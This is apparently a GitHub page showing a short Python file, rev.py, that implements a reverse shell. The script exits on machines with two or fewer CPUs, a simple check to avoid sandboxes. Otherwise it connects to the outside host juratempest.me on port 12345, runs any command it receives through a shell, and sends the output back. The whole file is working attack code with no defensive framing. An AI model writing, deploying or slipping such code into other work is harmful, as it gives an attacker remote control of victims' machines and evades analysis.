-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrev.py
34 lines (28 loc) · 827 Bytes
/
rev.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import socket
import subprocess
if os.cpu_count() <= 2:
quit()
HOST = 'juratempest.me'
PORT = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(str.encode("[*] Connection Established!"))
while 1:
try:
s.send(str.encode(os.getcwd() + "> "))
data = s.recv(1024).decode("UTF-8")
data = data.strip('\n')
if data == "quit":
break
if data[:2] == "cd":
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
output_str = str(stdout_value, "UTF-8")
s.send(str.encode("\n" + output_str))
except Exception as e:
continue
s.close()